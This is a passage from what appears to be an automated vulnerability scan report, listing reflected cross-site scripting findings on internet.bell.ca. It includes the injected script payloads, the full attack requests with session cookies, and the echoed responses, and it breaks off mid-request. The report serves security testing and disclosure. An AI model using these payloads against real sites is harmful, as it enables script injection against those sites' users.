Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:27 GMT
Connection: close
Set-Cookie: SMSESSION=+9gl/elHMKxvDBEFeBjDeHjuhquPCRu1KJv5jG5Fgok3FIgSK9+XsLMfvkCkbp7OZrcvNvhPE+jHr9H8nSxS7NkVqc9PAPBuZHvhRpaoXdPEXdStObphkMOlhIeC1wm8b5+pH2wf/Qpb1MKU3OnkJllGqA1GbaYZQwJwKcgnvIggoTCKJ1tO4F0oVtsTrUJHvxNw0lqKqHwQWT06WrDeHpxaWwJrs4ErDDtaS4tBXBBLLe8uQf6JxTs/Da60QJgeCxE1LEQjj17OXYWoEtQJ7+51m3qWUDSZhqSSNaqjDAIuUB2u63cz9A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js33e28"><script>alert(1)</script>59286644dfd/jquery.flash.js" />
...[SNIP]...

2.55. http://internet.bell.ca/js/jquery.flash.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.flash.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13bdd"><script>alert(1)</script>450518db5d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.flash.js13bdd"><script>alert(1)</script>450518db5d HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:47 GMT
Connection: close
Set-Cookie: SMSESSION=4F6HPpNHyMfnrXJdzs5sFyE0NF5igu2FhGTk22LMxvbCuz5l0mZ7BkSlW/Uy3NITTjW+IrofY76TWc5zl1RdeAcTtYi676mM/h0vUW4hFynRQVOY24T6WIFOcp4YK9zQokAXMBC/tr87a0G/RDJFKYx6aG3PsYSNOtnk+T2OA8DFwLUqiFLixciNqaKjq0K2jGuZVwDlaKTIJAbAUgwsQwgQ9IWuprKN0Sv2Sg7Lmh4dgtoUfi6taWRMe3eHULBA5TBWikDI7/lZmo4NqPF289wwfur7VuP5uTYOKQ4RKpg2MSM2Bf4qig==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
nput type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.flash.js13bdd"><script>alert(1)</script>450518db5d" />
...[SNIP]...

2.56. http://internet.bell.ca/js/jquery.fxqueues.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.fxqueues.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84921"><script>alert(1)</script>ab4b9d8aa54 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js84921"><script>alert(1)</script>ab4b9d8aa54/jquery.fxqueues.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:34 GMT
Connection: close
Set-Cookie: SMSESSION=sVi021CnGQ1oApsNBulZw4opn2PuP5ypl7TwWqzTdpW8GyTCbw8gBgu/MEKUy8uT7yG28tVxzcJr3/I5sGnaoybyVmdCazeQIY4mdp7XjgcQEyi/1iRQnWawVcyaP/q1kOTxlXjpHsDAl0WocJp98zD6c8aOpN6+HtNtTncjzoMRJo7p68WU81MAWYKNaBEMjxAD3sDDeLYqBzDSUjTNIM7wqR5soPryx5WEd1Ywv/0et8crTq43gPk2ZiAclu9rwvjdiTT4R5DTIL6aFQTgKx8XjGF7vlsvXKau+Le5HLpa9ZD5iNy0zw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:35 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:35 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js84921"><script>alert(1)</script>ab4b9d8aa54/jquery.fxqueues.js" />
...[SNIP]...

2.57. http://internet.bell.ca/js/jquery.fxqueues.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.fxqueues.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1e32"><script>alert(1)</script>fda13ea188 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.fxqueues.jsb1e32"><script>alert(1)</script>fda13ea188 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
